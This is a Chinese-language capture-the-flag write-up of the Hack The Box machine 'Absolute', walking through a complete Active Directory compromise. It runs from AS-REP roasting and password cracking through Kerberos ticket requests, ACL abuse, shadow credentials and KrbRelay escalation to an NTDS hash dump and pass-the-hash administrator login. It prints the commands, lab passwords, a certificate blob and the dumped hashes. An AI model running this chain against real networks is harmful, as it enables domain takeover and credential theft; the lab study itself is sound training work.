April 14, 2023

HTB Absolute Writeup By Boogipop

image.png
Insane!

知识点

使用工具

信息搜集

老规矩,测测它

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
└─# nmap -sS -sV -sC 10.10.11.181
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-13 21:42 CST
Nmap scan report for 10.10.11.181
Host is up (0.71s latency).
Not shown: 988 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Absolute
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-04-13 20:43:45Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2022-06-09T08:14:24
|_Not valid after: 2023-06-09T08:14:24
|_ssl-date: 2023-04-13T20:44:50+00:00; +6h59m59s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2022-06-09T08:14:24
|_Not valid after: 2023-06-09T08:14:24
|_ssl-date: 2023-04-13T20:44:49+00:00; +6h59m59s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-04-13T20:44:50+00:00; +6h59m59s from scanner time.
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2022-06-09T08:14:24
|_Not valid after: 2023-06-09T08:14:24
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-04-13T20:44:49+00:00; +6h59m59s from scanner time.
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2022-06-09T08:14:24
|_Not valid after: 2023-06-09T08:14:24
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6h59m58s, deviation: 0s, median: 6h59m58s
| smb2-time:
| date: 2023-04-13T20:44:37
|_ start_date: N/A
| smb2-security-mode:
| 311:
|_ Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 121.98 seconds

看得到smb端口445和一些RDP远程服务,并且扫到了域名absolute.htb、dc.absolute.htb,早早的先加入到hosts文件里
echo 10.10.11.181 absolute.htb >>/etc/hosts
echo 10.10.11.181 dc.absolute.htb >> /etc/hosts
看得到web80端口是开了,直接浅浅的访问一波

可疑のPNG

image.png
可以看到有很多规律的hero_x图片,把他们下载下来送给exiftool分析一下
for i in {1..10};do wget "[http://10.10.11.181/images/hero_$i.jpg"](http://10.10.11.181/images/hero_$i.jpg") &>/dev/null;done
image.png
直接脱下来然后送给exiftool分析一波大的
image.png
得到了以下人名

1
2
3
4
5
6
James.Roberts
Michael.Chaffrey
Donald.Klay
Sarah.Osvald
Jeffer.Robinson
Nicole.Smith

这些人名可能有用,我们就保存在这里先,根据这些人名,我们将上面的人名转换为一些潜在的可能用户名(这一步有点扯感觉)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
James.Roberts
jroherts
j.roherts
Michael.Chaffrey
mchaffrey
m.chaffrey
Donald.Klay
dklay
d.klay
Sarah.Osvald
sosvald
s.osvald
Jeffer.Robinson
jrobinson
j.robinson
Nicole.Smith
nsmith
n.smith

开放のKerberos端口

88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-04-13 20:43:45Z)

namp扫描记录中有这么一条,这是一个kerberos服务,众所周知kerberos是域渗透的基础,这里介绍一款神兵利器Kerbrute,这个工具可以用来检测用户名是否有效

git clone [https://github.com/ropnop/kerbrute.git](https://github.com/ropnop/kerbrute.git)
[https://github.com/ropnop/kerbrute/releases/tag/v1.0.3](https://github.com/ropnop/kerbrute/releases/tag/v1.0.3)
果断的选择了下面的编译好了的工具^ ^
使用上面制造的字典进行爆破
GetNPUsers.py absolute.htb/d.klay -dc-ip 10.10.11.181 -no-pass,记得Forest那台靶机吗

在AS_REP阶段,会返回由我们请求的域账户hash加密某个值后返回。然后我们通过自身的ntlm hash去解密得到数据。在这里设置不要求预身份验证后,我们可以在AS_REQ阶段,填写想要伪造请求的用户名,随后会用伪造请求的用户名NTLM Hash加密返回给我们。随后我们就可以拿去爆破了,不过前提就是需要伪造请求的用户名设置了”不要求Kerberos预身份认证”

假如kerberos没有开启pre auth,我们就可以进行离线hash爆破,先用上面的指令给他的hash dump出来,之后用john狠狠爆破一下
john passwd.txt --fork=4 -w=/usr/share/wordlists/rockyou.txt
image.png
获取一组用户密码d.klay/Darkmoonsky248girl
Darkmoonsky248girl ([email protected])
,这时候我想到的居然是ssh去登录
image.png
只能说是铸币了,anyway我们已经得到了一组用户和密码,接下来该思考的是怎么去利用了

SMB尝试

再来一款神兵利器,crackmapexec,这东西集成了很多功能,包括smb、ldap的攻击,十分的方便
https://github.com/Porchetta-Industries/CrackMapExec/releases/tag/v5.4.0
image.png
集成多种攻击,其中包含smb,来用smb板块探测一下共享目录,用我们上面的用户
image.png
不过显然是以失败告终的QWQ,还缺点东西。结合给我们的一组用户,可能是提示我们需要伪造黄金票据(TGT)去获取进一步的信息

TGT黄金票据伪造(大坑)

使用impacket包下的impacket-getTGT
impacket-getTGT 'absolute.htb/d.klay:Darkmoonsky248girl' -dc-ip dc.absolute.htb
image.png
好耶,黄金票据GET,给他导进环境变量
export KRB5CCNAME=/opt/d.klay.ccache
./cme ldap dc.absolute.htb -k --kdcHost dc.absolute.htb --users

假如不出意外你会得到上面的结果,但我就出意外了,我得到的结果如下,很抽象。。
image.png
我不知道这是为啥。。可能是,不知道为啥,反正就是巨他妈玄学
这样我们可以得到第二组用户名密码svc_smb/AbsoluteSMBService123!,按照上述操作给他也伪造一个凭证
之后使用impacket-smbclient模块访问他的目录
impacket-smbclient -k -no-pass -dc-ip dc.absolute.htb 'dc.absolute.htb'
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# ls
[-] No share selected
# use shared
# ls
drw-rw-rw- 0 Fri Sep 2 01:02:23 2022 .
drw-rw-rw- 0 Fri Sep 2 01:02:23 2022 ..
-rw-rw-rw- 72 Fri Sep 2 01:02:23 2022 compiler.sh
-rw-rw-rw- 67584 Fri Sep 2 01:02:23 2022 test.exe
# ls
drw-rw-rw- 0 Fri Sep 2 01:02:23 2022 .
drw-rw-rw- 0 Fri Sep 2 01:02:23 2022 ..
-rw-rw-rw- 72 Fri Sep 2 01:02:23 2022 compiler.sh
-rw-rw-rw- 67584 Fri Sep 2 01:02:23 2022 test.exe
# get compiler.sh
# get test.exe
# Bye!

现在就能下载,说明我们的票据伪造的是成功了的,至于为什么列不出来ldap用户,我觉得原因就2点

这个工具我看别人都是用的5.30,在这里我用的是5.40,不知道为啥5.30的工具我使用不了,会报错
image.png
我也是用的python3.10版本,但是玄学的东西来了,我用windows的就可以运行
image.png
这我就不理解了。。我的kali也安装不了所谓的python3.10,只能是3.11,这就给我整哭了motherfucker

填坑填坑

上面不是说得不到结果吗,本质原因就是因为工具版本,使用crackmapexec5.3版本及其一下的版本,5.4.0垃圾版本全是bug
然后怎么使用5.3版本最稳妥呢?答案是Pipenv

pipenv

pipenv是一款Python vm搭建工具,使用pipenv可以给你创造一个sandbox,在这个box中python环境是根据工具要求而定下来的
我是参考上述文章的,首先先把crackmapexec的源码下载下来
git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec
再安装一些需要的包
apt-get install -y libssl-dev libffi-dev python-dev build-essential
然后开始安装pipenv
pip install --user pipenv
安装好过后进入源码内,用pipenv解析搭建python的sandbox
cd CrackMapExec && pipenv install
最后输入
pipenv shell就可以进入sandbox内进行一顿操作了
然后最重要的是你这时候再沙盒内,你需要用pip去安装crackmapexec
pip install crackmapexec
最后一把嗦!
crackmapexec ldap dc.absolute.htb -k --kdcHost dc.absolute.htb --users
image.png
如图我们成功获取第二组的用户名和账号

可疑のexe文件

anyway总而言之,我们按照上述步骤成功是把smb目录内的东西下载下来了,接下来就分析一下那个test.exe,我们把他放到windows里抓包分析
捕获一下Openvpn的网卡,然后选择追踪流,就可以发现如下内容
image.png
image.png
又是一组用户名密码absolute.htb\m.lovegod:AbsoluteLDAP2022!

伪造TGT票据使用BloodHound信息搜集

这一波下来也有讲究,上面得到了一组用户名密码,也是一样的伪造TGT
ntpdate -s absolute.htb&&impacket-getTGT 'absolute.htb/m.lovegod:AbsoluteLDAP2022!'
这里划重点,时间同步非常重要,相当于时间戳,时间不同步票据就伪造不成功
image.png
image.png
随之使用bloodhound进行信息搜集
这里选择了[https://github.com/jazzpizazz/BloodHound.py-Kerberos](https://github.com/jazzpizazz/BloodHound.py-Kerberos)这个分支的bloodhound
python3 bloodhound.py -u m.lovegod -k -d absolute.htb -dc dc.absolute.htb -ns 10.10.11.181 --dns-tcp --zip -no-pass -c All
image.png

使用MATCH(u:User) return u查询所有的用户:
image.png
可以看到有一个WINRM用户,这可能就是我们的user,我们找一下有关路径
image.png
发现其实很简单,我们的m.lovegod用户对NETWORK有own权限,是网络审计组,而NETWORK组对WINRM有generic_write的权限,梳理一下思路

AD域渗透

那么就开始实操了,对于第一步我们可以使用 Windows 或 Linux,我使用windows,那么我们就得导入一下之前打Forest用到的poverview模块了
Import-Module .\PowerView.ps1
$pass=ConvertTo-SecureString 'AbsoluteLDAP2022!' -AsPlain -Force
$cred=new-object system.management.automation.pscredential('absolute.htb\m.lovegod',$pass)
Add-DomainObjectAcl -Credential $cred -TargetIdentity "Network Audit" -Rights all -DomainController "dc.absolute.htb" -PrincipalIdentity "m.lovegod"
Add-ADPrincipalGroupMembership -Identity m.lovegod -MemberOf "Network Audit" -Credential $cred -Server dc.absolute.htb
Get-DomainGroupMember -Identity "Network Audit" -Domain "absolute.htb" -DomainController "dc.absolute.htb" -Credential $cred
一套流程下来把m.lovegod用户加入到了Network Audit用户组里,并且赋予了all权限
image.png

坑点

首先是时区你要和靶机同步,因为票据伪造需要时间,具体方法如下
image.png
输入靶机IP进行同步,其次是这一步AD渗透的话,最好是在windows 2019 server虚拟机里面完成。因为虚拟机可以配置AD环境,否则就失败了

进一步伪造TGT

我们现在已经把m.lovegod用户加入进去了。因此我们需要重新伪造一下票据更新一下
ntpdate -s absolute.htb&&impacket-getTGT 'absolute.htb/m.lovegod:AbsoluteLDAP2022!'
export KRB5CCNAME=/opt/m.lovegod.ccache
然后使用工具pywhisker获取pfx认证文件
python pywhisker/pywhisker.py -d absolute.htb -u "m.lovegod" -k --no-pass -t "winrm_user" --action "add"
image.png

1
2
3
4
5
6
7
8
9
10
11
12
└─# python pywhisker/pywhisker.py -d absolute.htb -u "m.lovegod" -k --no-pass -t "winrm_user" --action "add"
[*] Searching for the target account
[*] Target user found: CN=winrm_user,CN=Users,DC=absolute,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 5433341b-4b83-71bd-d380-aceae025aa68
[*] Updating the msDS-KeyCredentialLink attribute of winrm_user
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: fCvi61Aq.pfx
[*] Must be used with password: mrKuvg3I5GVdZ8J4Jinj
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools

随后使用PKINTtool获取NTLM hash,进行hash传递攻击
python PKINITtools/gettgtpkinit.py absolute.htb/winrm_user -cert-pfx fCvi61Aq.pfx -pfx-pass mrKuvg3I5GVdZ8J4Jinj winrmCcache

1
2
3
4
5
6
7
8
9
10
11
12
python PKINITtools/gettgtpkinit.py absolute.htb/winrm_user -cert-pfx fCvi61Aq.pfx -pfx-pass  mrKuvg3I5GVdZ8J4Jinj wi
nrmCcache
2023-04-15 03:14:21,214 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2023-04-15 03:14:21,225 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
2023-04-15 03:14:33,223 minikerberos INFO AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2023-04-15 03:14:33,223 minikerberos INFO 1cf0779f2e031f99184a8115b0b1e6d838f2d25fef528b9084f7223e1da6727e
INFO:minikerberos:1cf0779f2e031f99184a8115b0b1e6d838f2d25fef528b9084f7223e1da6727e
2023-04-15 03:14:33,225 minikerberos INFO Saved TGT to file
INFO:minikerberos:Saved TGT to file

这样我们也同样获取了winrm的TGT票据,我们export一下
export KRB5CCNAME=/opt/winrmCcache

获取User.txt

最后使用evilrm进行远程shell连接
evil-winrm -i dc.absolute.htb -r absolute.htb

在这之前/etc/krb5.conf文件需要配置!配置文件如下

1
2
3
4
5
6
7
[libdefaults]
default_realm = ABSOLUTE.HTB
[realms]
ABSOLUTE.HTB = {
kdc = DC.ABSOLUTE.HTB
admin_server = ABSOLUTE.HTB
}

这是因为你既然要用kerberos中的TGT票据进行winrm登录,那你首先就得配置一下kerberos客户机的配置
最后获取User.txt~
image.png

无修复提权(root.txt)

这里是使用到了No-Fix Local Privilege Escalation Using KrbRelay With Shadow Credentials

前两点域控dc是满足的,最后一点m.lovegod用户也是有的,目前我们只有一个域管理员,我们需要KrbRelayUpRubeusRunasCS(让 m.lovegod 执行 KrbRelay)。
首先下载这三个工具。
./RunasCs.exe m.lovegod 'AbsoluteLDAP2022!'-d absolute.htb -l 9 "C:\Users\winrm_user\Desktop\KK.exe relay -m shadowcred -cls {752073A1-23F2-4396-85F0-8FDB879ED0ED}"
可以看到得到如下结果
image.png
我们取其中的BASE字符运行如下指令
./Rubeus.exe asktgt /user:DC$ /certificate:MIIKSAIBAzCCCgQGCSqGSIb3DQEHAaCCCfUEggnxMIIJ7TCCBhYGCSqGSIb3DQEHAaCCBgcEggYDMIIF/zCCBfsGCyqGSIb3DQEMCgECoIIE/jCCBPowHAYKKoZIhvcNAQwBAzAOBAh9+Hc63T9xUwICB9AEggTYh51cbbkLovgroUeKPMseyGiUO2r+xnZwaRcGLNxGo6LbGcuBz89rp+VJVCmG1/P+u0c1MRwTI85sJMP3pEYb0NLNezAO9VCpWH/Fn5JbxTtHfVToDTeDr/Qwq7t3B/PTPsAx0p5XmK09u2RMXoP4n6TLet7Q5NwozVpEnKTgfCGnUKHJavv5Z0fJTPY4UHJ4rYzimncvZ6zslSUWLboVwJSPEbKYWfmsPy4gGfKpDmURyWH8SXSYdv8vb2EonkFk6FsJSrj4V07u3rcxBzu+YOFfZXscHL5NWfsPQ26LjwraNbAJJLHEYGQAc7VqB4SdO9jvYJ2JCcJE9SSIyFrKvQPCAkaRrTEPMMaMz+ZCnxQLchE6AtukLzrfIBNxuxDMKtwlie/kSSsUPHb11Cs+YG1aie3KkAR14QzLnqx6teaBEk6bTB7JPXFUuV8VTP8cX3p5liPfPNZFbDEE6FfhUNvqrKOxBVx7CS361Zk3707/4JjoKF0FwoxP6xWTuZqMhcBuj5ncBIYNRgH2FegwW/RUl4ouLH+Uk+fiJSIJhLl3F+X54WVoF5PN/DKJSN4hV4+N6cDIL5T3je4T4qZ/XnEj+mrqi+lp/JNQbjfEmnWRTbdPVZm290yf4cJ5MgIqzSKUN6X/c9FphzM0gto8KsPEteNUWdN7cf5ecQA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t2DRDo+YPfFDU08lxnK3iQruNib7ynjqBhCGkAIME3JKP+0TCRbg60rk0yfXsDf0ScIIKhDfam2b8jOu98wtEeKNExETtV122XN2k+8oB/Iuwij2rCTDLMGqS4rgPNS6wKVcdb6Q4HHXaCr3THqPU/O8V9FFitAoySqWyWmlzb4/ODefmc/DUqT3YIO/7V9E24/hh2NJPbedzaLiN2LHu/gmpzdQDuQRX6hIaAxAfrqCGGuVAvKo3OFYCy9Ow5aQeqpBrdMngltn8s4diNYkXErpXgscNWsAgbPVaPjvvEMkEci5Cc+iIGXkzU0Gwl5Wg2tamsbmJJfJp9NIz+anDJ8gyu5EONwwZVgmDA7auT6DuCB73oXPefPltPFz+MxV1+HGVdUhob5IAXPa9T1czF+UlB7iRDr4d12zA7MB8wBwYFKw4DAhoEFNXqohx/MpOC5WTCGMDpz+E+1OxbBBQtUpGI6cSENM/QE68yERRMbzRzZAICB9A= /password:"qC4@dT8=yC3#" /getcredentials /show /nowrap
结果如下:
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 ServiceName              :  krbtgt/absolute.htb
ServiceRealm : ABSOLUTE.HTB
UserName : DC$
UserRealm : ABSOLUTE.HTB
StartTime : 4/14/2023 2:15:02 PM
EndTime : 4/15/2023 12:15:02 AM
RenewTill : 4/21/2023 2:15:02 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : 5nof/W0ESBd7w8OyGmW4Hw==
ASREP (key) : A47858CF2FF48C80A45B26338A23DF63

[*] Getting credentials using U2U

CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : A7864AB463177ACB9AEC553F18F42577

最后使用CME模块dump 管理员的hash
crackmapexec smb -dc-ip dc.absolute.htb -u 'DC$' -H A7864AB463177ACB9AEC553F18F42577 --ntds

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
└─# crackmapexec smb -dc-ip dc.absolute.htb -u 'DC$' -H A7864AB463177ACB9AEC553F18F42577 --ntds
SMB dc.absolute.htb 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:c-ip) (signing:True) (SMBv1:False)
SMB dc.absolute.htb 445 DC [+] c-ip\DC$:A7864AB463177ACB9AEC553F18F42577
SMB dc.absolute.htb 445 DC [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
SMB dc.absolute.htb 445 DC [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB dc.absolute.htb 445 DC Administrator\Administrator:500:aad3b435b51404eeaad3b435b51404ee:1f4a6093623653f6488d5aa24c75f2ea:::
SMB dc.absolute.htb 445 DC Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB dc.absolute.htb 445 DC krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3ca378b063b18294fa5122c66c2280d4:::
SMB dc.absolute.htb 445 DC J.Roberts:1103:aad3b435b51404eeaad3b435b51404ee:7d6b7511772593b6d0a3d2de4630025a:::
SMB dc.absolute.htb 445 DC M.Chaffrey:1104:aad3b435b51404eeaad3b435b51404ee:13a699bfad06afb35fa0856f69632184:::
SMB dc.absolute.htb 445 DC D.Klay:1105:aad3b435b51404eeaad3b435b51404ee:21c95f594a80bf53afc78114f98fd3ab:::
SMB dc.absolute.htb 445 DC s.osvald:1106:aad3b435b51404eeaad3b435b51404ee:ab14438de333bf5a5283004f660879ee:::
SMB dc.absolute.htb 445 DC j.robinson:1107:aad3b435b51404eeaad3b435b51404ee:0c8cb4f338183e9e67bbc98231a8e59f:::
SMB dc.absolute.htb 445 DC n.smith:1108:aad3b435b51404eeaad3b435b51404ee:ef424db18e1ae6ba889fb12e8277797d:::
SMB dc.absolute.htb 445 DC m.lovegod:1109:aad3b435b51404eeaad3b435b51404ee:a22f2835442b3c4cbf5f24855d5e5c3d:::
SMB dc.absolute.htb 445 DC l.moore:1110:aad3b435b51404eeaad3b435b51404ee:0d4c6dccbfacbff5f8b4b31f57c528ba:::
SMB dc.absolute.htb 445 DC c.colt:1111:aad3b435b51404eeaad3b435b51404ee:fcad808a20e73e68ea6f55b268b48fe4:::
SMB dc.absolute.htb 445 DC s.johnson:1112:aad3b435b51404eeaad3b435b51404ee:b922d77d7412d1d616db10b5017f395c:::
SMB dc.absolute.htb 445 DC d.lemm:1113:aad3b435b51404eeaad3b435b51404ee:e16f7ab64d81a4f6fe47ca7c21d1ea40:::
SMB dc.absolute.htb 445 DC svc_smb:1114:aad3b435b51404eeaad3b435b51404ee:c31e33babe4acee96481ff56c2449167:::
SMB dc.absolute.htb 445 DC svc_audit:1115:aad3b435b51404eeaad3b435b51404ee:846196aab3f1323cbcc1d8c57f79a103:::
SMB dc.absolute.htb 445 DC winrm_user:1116:aad3b435b51404eeaad3b435b51404ee:8738c7413a5da3bc1d083efc0ab06cb2:::
SMB dc.absolute.htb 445 DC DC$:1000:aad3b435b51404eeaad3b435b51404ee:a7864ab463177acb9aec553f18f42577:::
SMB dc.absolute.htb 445 DC [+] Dumped 18 NTDS hashes to /root/.cme/logs/DC_dc.absolute.htb_2023-04-15_051536.ntds of which 17 were added to the database

evil-winrm -i absolute.htb -u "Administrator" -H 1f4a6093623653f6488d5aa24c75f2ea
结束了家人们
image.png

结尾(关于HacktheBox的小trick)

之前打Htb一直都是用kali去连接openvpn,本来是想过用windows连的,但因为第一次用的openvpn可能版本不对劲,所以当时认为不行,然后这一次我下载了最新版发现肯定是可以的啊,之前的自己铸币了
所以以后打hackthebox,只需要windows连接openvpn即可,由于是NAT桥接模式kali是可以直接访问靶机的,一举两得~
image.png

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp#HackTheBox